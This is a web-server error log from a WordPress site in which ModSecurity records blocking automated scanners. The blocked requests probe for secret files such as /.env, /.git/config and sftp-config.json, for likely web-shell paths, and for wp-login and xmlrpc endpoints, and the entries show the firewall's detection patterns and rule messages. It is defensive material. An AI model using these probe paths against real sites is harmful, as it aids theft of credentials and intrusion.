[Sun Dec 28 21:13:26.396856 2025] [:error] [pid 29437:tid 29482] [client 4.218.19.19:14846] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aVEs9hhDotAbVk6pZLfZkAAAAdA"]
[Mon Dec 29 04:31:28.958749 2025] [autoindex:error] [pid 11453:tid 11512] [client 167.99.61.218:54341] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Dec 29 04:32:19.178974 2025] [:error] [pid 37389:tid 37460] [client 170.106.35.153:41720] [client 170.106.35.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVGT08EYrQKI4GZ26QZ0rAAAAQY"]
[Mon Dec 29 05:07:57.871282 2025] [proxy_fcgi:error] [pid 37389:tid 37461] [client 4.196.74.191:41077] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Mon Dec 29 05:07:59.754214 2025] [:error] [pid 37389:tid 37471] [client 4.196.74.191:41077] [client 4.196.74.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.74.191, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aVGcL8EYrQKI4GZ26QZ_pgAAARE"], referer: https://www.google.de/
[Mon Dec 29 05:07:59.774856 2025] [:error] [pid 11452:tid 11489] [client 4.196.74.191:13585] [client 4.196.74.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.74.191, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/cgi-bin/wp-login.php"] [unique_id "aVGcL6hBUmuWsliUNqTgrAAAAEc"], referer: https://www.google.de/
[Mon Dec 29 05:48:27.899162 2025] [:error] [pid 11452:tid 11501] [client 92.44.25.175:4720] [client 92.44.25.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aVGlq6hBUmuWsliUNqTq0AAAAFM"]
[Mon Dec 29 06:49:38.479077 2025] [:error] [pid 11451:tid 11476] [client 43.138.68.113:59858] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVG0ApDUmxySx0Vynm-h-gAAABU"]
[Mon Dec 29 09:48:15.709143 2025] [:error] [pid 37389:tid 37462] [client 177.72.139.190:24662] [client 177.72.139.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVHd38EYrQKI4GZ26QbqrwAAAQg"]
[Mon Dec 29 09:48:16.779380 2025] [:error] [pid 11540:tid 11546] [client 191.84.216.243:60972] [client 191.84.216.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVHd4A1izvtkZ6YWaTyeQwAAAMQ"]
[Mon Dec 29 10:54:03.006218 2025] [:error] [pid 42293:tid 42315] [client 170.106.72.178:36172] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVHtSwpAkHF7zSWhAzHZngAAAVQ"]
[Tue Dec 30 01:16:14.984221 2025] [:error] [pid 9128:tid 9138] [client 182.44.67.97:55614] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVK3XsASbrOSyCr7LVB1dwAAAMg"]
[Tue Dec 30 02:45:28.213128 2025] [:error] [pid 9128:tid 9150] [client 52.230.94.136:49998] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aVLMSMASbrOSyCr7LVCCnwAAANQ"], referer: https://www.google.fr/
[Tue Dec 30 02:45:28.580130 2025] [:error] [pid 57193:tid 57197] [client 52.230.94.136:49951] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aVLMSKEzOljppv-JqIrCoQAAAYI"], referer: https://www.yahoo.com/
[Tue Dec 30 02:45:33.769743 2025] [:error] [pid 9128:tid 9132] [client 52.230.94.136:49927] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aVLMTcASbrOSyCr7LVCC1QAAAMI"], referer: https://www.google.com/
[Tue Dec 30 02:45:33.945832 2025] [:error] [pid 42521:tid 42527] [client 52.230.94.136:49962] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aVLMTczHehU4LDeKEzozowAAAUM"], referer: https://www.google.co.uk/
[Tue Dec 30 02:45:34.503774 2025] [:error] [pid 42335:tid 42398] [client 52.230.94.136:50034] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/index.php"] [unique_id "aVLMTpTs64_nkFDMkPykLgAAARY"], referer: https://www.google.com/
[Tue Dec 30 02:45:35.066528 2025] [:error] [pid 42521:tid 42544] [client 52.230.94.136:49940] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aVLMT8zHehU4LDeKEzozpgAAAVQ"], referer: https://www.google.de/
[Tue Dec 30 02:45:35.240917 2025] [:error] [pid 42335:tid 42377] [client 52.230.94.136:50014] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aVLMT5Ts64_nkFDMkPykMAAAAQE"], referer: https://www.google.co.uk/
[Tue Dec 30 02:45:35.415462 2025] [:error] [pid 9044:tid 9116] [client 52.230.94.136:49988] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aVLMT-RAXIotPh9gznT_nQAAAJA"], referer: https://www.yahoo.com/
[Tue Dec 30 02:45:35.591237 2025] [:error] [pid 9128:tid 9146] [client 52.230.94.136:49937] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/development/index.php"] [unique_id "aVLMT8ASbrOSyCr7LVCC2wAAANA"], referer: https://www.google.de/
[Tue Dec 30 02:45:35.766321 2025] [:error] [pid 9044:tid 9112] [client 52.230.94.136:50009] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aVLMT-RAXIotPh9gznT_nwAAAIw"], referer: https://www.google.com/
[Tue Dec 30 02:45:36.134799 2025] [:error] [pid 9042:tid 9067] [client 52.230.94.136:49922] [client 52.230.94.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aVLMUDotupvrX8RtYEJ-cQAAABU"], referer: https://www.yahoo.com/
[Tue Dec 30 04:43:14.749616 2025] [:error] [pid 55827:tid 55843] [client 3.66.219.191:37028] [client 3.66.219.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_next/data"] [unique_id "aVLn4jGIC-EorhVIeG_OWQAAAM4"]
[Tue Dec 30 04:43:15.979944 2025] [:error] [pid 55722:tid 55769] [client 3.66.219.191:37490] [client 3.66.219.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVLn49APH64hQFBaDRiKFAAAAEs"]
[Tue Dec 30 05:24:06.197834 2025] [:error] [pid 55724:tid 55792] [client 4.213.153.145:7254] [client 4.213.153.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.213.153.145, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aVLxdv2xaJh1srfKTGRddgAAAIc"], referer: https://www.google.fr/
[Tue Dec 30 05:24:06.338752 2025] [:error] [pid 55724:tid 55806] [client 4.213.153.145:22156] [client 4.213.153.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.213.153.145, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/xmlrpc.php"] [unique_id "aVLxdv2xaJh1srfKTGRddwAAAJU"], referer: https://www.google.fr/
[Tue Dec 30 05:24:12.684202 2025] [:error] [pid 55724:tid 55794] [client 4.213.153.145:7254] [client 4.213.153.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aVLxfP2xaJh1srfKTGRdowAAAIk"], referer: https://duckduckgo.com/
[Tue Dec 30 05:24:12.958726 2025] [:error] [pid 55722:tid 55771] [client 4.213.153.145:28295] [client 4.213.153.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aVLxfNAPH64hQFBaDRiPwAAAAE0"], referer: https://www.google.com/
[Tue Dec 30 05:24:13.233525 2025] [:error] [pid 21424:tid 21436] [client 4.213.153.145:14996] [client 4.213.153.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aVLxff6vZjHcdZm1ozCnDQAAAQo"], referer: https://www.yahoo.com/
[Tue Dec 30 12:12:22.810192 2025] [:error] [pid 28826:tid 28920] [client 49.51.196.42:40774] [client 49.51.196.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVNRJvOyQggePm1Ed9s2nQAAAQ0"]
[Tue Dec 30 13:13:13.192130 2025] [:error] [pid 28954:tid 28959] [client 103.77.107.57:61268] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aVNfaaRZgqk7uuu8M0zl7AAAAAM"]
[Tue Dec 30 13:13:13.930316 2025] [:error] [pid 28824:tid 28869] [client 103.77.107.57:53355] [client 103.77.107.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aVNfaX8FhtgLvBhuCR0DGgAAAJg"]
[Tue Dec 30 13:14:15.456986 2025] [:error] [pid 38777:tid 38803] [client 49.7.227.204:43048] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVNfp2Ln9GPxJXPhnHawsAAAAFc"]
[Tue Dec 30 15:28:37.600355 2025] [:error] [pid 38777:tid 38784] [client 194.26.192.112:52722] [client 194.26.192.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.26.192.112, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aVN_JWLn9GPxJXPhnHbdnAAAAEQ"]
[Tue Dec 30 15:38:00.479045 2025] [:error] [pid 28954:tid 28975] [client 103.65.236.149:65020] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aVOBWKRZgqk7uuu8M0wH0QAAABM"]
[Tue Dec 30 17:23:24.361266 2025] [:error] [pid 28826:tid 28931] [client 43.153.102.138:38032] [client 43.153.102.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVOaDPOyQggePm1Ed9t3GQAAARg"]
[Tue Dec 30 19:19:09.251416 2025] [:error] [pid 47553:tid 47573] [client 106.54.62.156:34794] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVO1Lbvhy9HerwSnwIT4SQAAAZI"]
[Tue Dec 30 20:54:16.538630 2025] [:error] [pid 47441:tid 47446] [client 103.77.106.57:54274] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/postnews.php"] [unique_id "aVPLeC6d2esGSN6Ne3NZhAAAAUI"]
[Tue Dec 30 20:54:17.522716 2025] [:error] [pid 28824:tid 28867] [client 103.77.106.57:54448] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aVPLeX8FhtgLvBhuCR1MwQAAAJY"]
[Tue Dec 30 20:54:18.841271 2025] [:error] [pid 28824:tid 28851] [client 103.77.106.57:54668] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aVPLen8FhtgLvBhuCR1M1gAAAIY"]
[Tue Dec 30 23:02:35.025006 2025] [:error] [pid 47553:tid 47576] [client 41.142.64.129:59527] [client 41.142.64.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.142.64.129, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aVPpi7vhy9HerwSnwIQt7QAAAZU"]
[Tue Dec 30 23:17:19.856794 2025] [:error] [pid 28954:tid 28970] [client 43.166.245.120:52628] [client 43.166.245.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVPs_6RZgqk7uuu8M0xkrgAAAA4"]
[Wed Dec 31 00:26:33.163125 2025] [:error] [pid 50068:tid 50081] [client 43.166.246.180:49086] [client 43.166.246.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVP9OfJem-CRnWG3ZuxnLQAAAAs"]
[Wed Dec 31 03:04:47.820335 2025] [autoindex:error] [pid 50266:tid 50282] [client 159.89.181.56:51068] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Dec 31 03:36:00.984138 2025] [:error] [pid 29284:tid 29413] [client 195.178.110.190:59942] [client 195.178.110.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aVQpoD9HLrvv2PbL-hu_UwAAAJc"]
[Wed Dec 31 05:30:59.406112 2025] [:error] [pid 33002:tid 33011] [client 43.155.188.157:38666] [client 43.155.188.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVREk_nsZEcORmTFnrin2AAAAAA"]
[Wed Dec 31 06:41:42.874088 2025] [:error] [pid 33002:tid 33015] [client 170.106.11.6:41068] [client 170.106.11.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVRVJvnsZEcORmTFnrjCYQAAAAQ"]
[Wed Dec 31 11:55:50.851404 2025] [:error] [pid 48833:tid 48852] [client 43.159.145.149:51790] [client 43.159.145.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVSexmPnRNOqqZ1OQg97lwAAAFE"]
